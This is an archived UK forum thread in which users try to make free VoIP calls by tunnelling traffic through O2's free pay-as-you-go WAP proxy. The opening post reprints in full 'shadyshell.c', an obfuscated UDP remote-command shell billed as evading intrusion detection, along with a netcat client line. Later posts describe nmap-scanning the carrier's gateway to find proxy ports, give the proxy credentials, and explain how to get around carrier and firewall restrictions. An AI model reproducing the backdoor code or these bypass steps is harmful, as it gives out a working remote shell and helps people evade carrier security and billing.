VoIP via mobile!! - help needed

jago25_98

Before we begin; this is already possible if you have full GPRS access, but it might not be economical. I haven't got a contract phone so I can't test the idea.

To try this you need:

- run Skype, VoIP software or something else on your mobile/PDA.
- use that program to make calls using SkyeOut or VoIP calls

(most realistic way of running Skype would be using small laptop with a data connection to your mobile / GPRS card. Skype on a linux Smartmobile would be another way. Skype isn't available for WinCE)

From now on things get technical and I'm looking for someone with knowledge of WAP and GPRS or O2 PAYG to help me.

Receipe:

- Free WAP on pay as you go SIMs from O2 (sims have been free so maybe use a cheap one from ebay for testing)

- Smartphone of some sort

- smart phone; i.e. Sony Ericcson P800 (I have). A linux based phone would make thing much easier

- TCP/IP to WAP tunnel on phone

- WAP to TCP/IP tunnel on a computer somewhere on the internet (i.e. your home computer)

Explaination:

O2 only offers free WAP. I know this because I have a PAYG tesco SIM, which is a virtual O2 provider. I think Fresh and some others are O2 virtual mobile providers too.

While this means you can read WAP sites, I found I can also read full websites on the move too - for 100% free; no costs at all that I can see.

However, there is a problem. I can only view websites using the built-in browser of my SE P800. I couldn't use MSN messenger or make VoIP calls!.

This is where I need help. Why do all the other programs on my phone not work except for the built in browser? Even Opera, that can be configured to use the O2 WAP proxy server doesn't work. Why is this?

- I believe it's something to do with UDP or ports. WAP uses a system completely different transport system to the one used to display the page you are reading - it's called `WTP`. But if this is why other applications aren't connecting, why can I view full, non WAP websites?

Because I can view full websites I believe it is therefore technically possible to create a program that creates a link (a `tunnel`) between the phone and another computer on the internet we have control of. The centre of this tunnel would have to operating with a transport layer that isn't blocked/firewalled, but what is this layer?

Is it UDP verses TCP or ports?

- I have tried setting IM and similar programs to use port 80 outgoing and this doesn't help
- can http operate over UDP?

Can you help?

Each end of the tunnel packages and unpackages full TCP/IP traffic.

Tunnels to try are:
- ssh tunnels using -D or static forwarding (this will work if TCP is allowed)
- `shady shell` (code at bottom); for if TCP is blocked

The end result of all this is that you can contact a remote computer and use it to make calls. The remote computer might make these calls using;

- a landline
- VoIP
- Skype

Shadyshell:

/* shadyshell.c by Derek Callaway <super@udel.edu> -- S@IRC
obfuscated/optimized/compact UDP portshell code; Avoid layer 4 IDS ;-)
Example client usage: nc -u host.dom 1337
Greets: inNUENdo, s0ftpr0jects, zsh
*/
#include<stdio.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<stdlib.h>
#define DP 1337 /* Default Port */
void ve(const char*f){perror(f);exit(-1);} int isdigit(),dup2();
void usg(char**v){printf("usage: %s [port]\n",*v);exit(0);}
int main(int c,char**v){struct sockaddr_in s={};struct sockaddr u;
char*p,b[512];if(c==2){for(p=v[1];*p;p++)if(!isdigit(*p))usg(v);c=atoi(*(++v));}
s.sin_port=htons(c==2?c:DP),s.sin_addr.s_addr=INADDR_ANY,s.sin_family=AF_INET;
if((c=socket(AF_INET,SOCK_DGRAM,0))<0)ve("socket"); /* https://www.innu.org/~super */
if(bind(c,&s,sizeof(s))<0)ve("bind");dup2(c,1);dup2(c,2);s.sin_port=sizeof(u);
if(recvfrom(c,&b,1024,0,&u,(int*)&(s.sin_port))<0)ve("socket");
if(connect(c,&u,sizeof(u))<0)ve("socket"); /* No overflows here. :P */
do{for(*v=b,p=0;**v&&((*v-b)<512||(p=*v));(*v)++)if(p||**v=='\r'||**v=='\n')
{**v=0;break;}if(p)continue;system(b);recv(c,&b,1024,0);}while(1);exit(0);}

cpjackso

Hiya - interesting message. Can't really answer unless I've got the connection in front of me. I've messed with WAP server-side before and from what I remember it just works on normal port 80 - thus why you can get thru to http services.

Your best bet is to connect the mobile to a linux box(laptop?) and run nmap on the connection.

From what info you've told us - the best way to create a tunnel accross the internet is to use something like openvpn - which allows you to run a vpn over tcp packets - presuming you have control of one end you can run it over whatever port you want (I've done this in hotels to get around their hotel firewall and used an asterisk box at home to make voip calls for free using 18866/TalkTalk)

The only unfortunate thing - I don't think openvpn has a pocketpc version.

Are there any special settings you're using to get the O2 free http browsing - I've been looking for something like this for my new PDA.... Is this the genie £10/month PAYG offer?

RaihanT

or use orange gprs on payg that is free for a while

jago25_98

This is with just the standard O2 SIM cards which where being given away for free... but I tried it with my tesco SIM card and that worked too.

While Orange (full) GPRS is free that's the cheapest way to make calls

Try these settings:

O2 WAP settings (GPRS):
Note: Different settings for contract and PAYG (Pay as you go)

Homepage: http://wap.o2.co.uk/
APN address (contract): wap.o2.co.uk
APN address (PAYG): payandgo.o2.co.uk
Gateway (IP) address : 193.113.200.195
Username : o2wap (contract) / payandgo (PAYG)
Password: password
Session type: Continuous / permanent
Port number: 9201
Authentication: Normal

I'll copy the Tesco settings off my phone when I got some time free.

nmap is for scanning what's running on an IP mainly. I think you might have meant netcat

cpjackso

No - meant nmap.. What you can do is set it up so that *you know* a port is open then scan from behind an unknown firewall setup to discover what is available -- you get it? I often use port 8080 - sysadmins often open this for http services - but this is often an available port to mess around with on a dsl line.

Will check into the Orange PAYG GPRS - I could do with free GPRS for a while - and I've got some of the sims laying around from a previous offer!

PS: I was just thinking after I wrote my reply earlier -- you do realise that if it's a standard data call it'll be a 9600baud connection (9.6kbps) and a GSM codec on voip uses ~8kbps.... Therefore not likely to work with the overhead of a VPN connection? After the TCP/IP overheads you'll not have much room left for actual data. (I've used GSM codec over a VPN on 10Mbps to 512Kbps connections and it's even been choppy - IAX(no VPN) was fine tho).

jago25_98

`standard data call` - I didn't relise GPRS was only 9kb/sec. I think there's probably better codecs out there now. I relise standard VoIP codecs might not work but there's been some newer codecs out now;

speex 3.4kbit
celp 5.1kbit

for example.

I'd like to try out that nmap command from my linux computer via bluetooth on the phone.

Paul_Varjak

I do not understand the techincal difficulties jago25_98 in using VOIP on a mobile phone - but it seems to be an interesting exercise!

However, the free WAP on O2 PAYG is limited to 1MB/month and you have to top up the phone with £10 credit/month to maintain your free WAP anyway (you can use the £10 credit against calls).

I used to be on Orange data service which was £10/month (no free calls). However, I also got the OPEN ACCESS PACK (£4/month) which gave unlimited WAP access (subject to a fair usage limit they never enforced anyway).

With the phone I got for free (Orange SPV E200) I could browse the full internet for free (providing I used the WAP Access Point and NOT the Internet Access Point). I could also use the SPVE200 as a modem and browse the full internet on my PC - all for just the £4/month of the OPEN ACCESS PACK!

I did not think of using VOIP but did use 18866 to make calls on the Orange mobile for just 0.5p/min!

ultrak3wl

Don't even *think* of nmapping anything to do with a WAP connection.

I was trying to build a system for work that would alert a mobile phone if one of the servers fell over. We needed something better than just "send an SMS" and I wanted something to allow a duty manager to manipulate the server interactively from the phone, so I was experimenting a bit.

I made a browser connection over GPRS to one of our webservers then looked into the server's HTTP access log to see what TCP/IP address I had just connected from. Incidentally a similar address is also in the phone's GPRS service configuration if you look carefully. I pinged the address a few times and tried a few random things like telnetting to port 80 but got no response so gave up.

About 45 minutes later the sky fell in, with Vodafone Security and my ISP stomping the hell out of me. Reading between the lines it appears that all networks' WAP gateways have a basic design insecurity that they can't easily fix without seriously degrading the overall functionality. Every now and then they get a new wave of people trying to exploit this and they're very sensitive about it. So be careful and have your excuses ready when trying to get nifty mobile connectivity working!

cpjackso

Thanks for the tip earlier in the thread - I'm now browsing for free on an Orange PAYG GPRS sim with £1 credit .

Just as a note - when I said "standard data call" I didn't mean GPRS - I meant a normal WAP call being 9600 baud.

I've tested VOIP over GPRS using my Orange sim - unfortunately I've only been able to test GSM and G711's - and they are very(too) choppy due to the bandwidth usage. I'm looking into trying speex.

As ultrak3wl notes - try not to go mental nmapping their external IP's!

I've always been given an IP in the 10.x.x.x range - so you won't be able to get through to the phone from outside the network; So ultrak3wl was nmapping their gateway server.

If you're just wanting a VPN - you probably wouldn't even need to use nmap - just try port 8080 with an OpenVPN in TCP server mode at your DSL end then try to connect over the GPRS/GSM connection.

jago25_98

Getting there; 100% free internet, free GPRS not needed

How I did it:
1) ordered a free (totally free) O2 simcard
2) set GPRS to
user: payandgo
pass: password
proxy: 193.113.200.195:8080 (had to nmap to get that as the port had changed)
3) start browsing!
optional:
I also tried using the phone as a modem (using bluetooth).

I found somethings were blocked at the proxy such as cookies! Hotmail didn't work and gmail went round in circles.
To get around this I used the an ssh tunnel setup to go through a proxy using this `connect` implementation:
http://www.taiyo.co.jp/~gotoh/ssh/connect.html
which then goes out to my ssh shell.

The next stage is to find something that is ok on such low bandwidth and high latency as GPRS... and works via a proxy.

To get around the latency (lag) I'm prepared to say `over` and wait a second. Not ideal but there you go. Push-to-talk is another option.

I read about a company who made an opensource cryptophone. They said GPRS was too laggy but direct datacalls were ok and they have a finished product that I'm now searching for.

Next steps:
- register with 1899.com (not easy as I don't reall have a phone number I can easily give them)
- find VoIP soft for Symbian
- try Teamspeak.net, as it offers an easy way to test different codecs

IanCun

I've got this up and running on a PPC, but I'm trying to connect to a Terminal Services server on another PC. Do you think this would be possible over the limited GPRS from o2?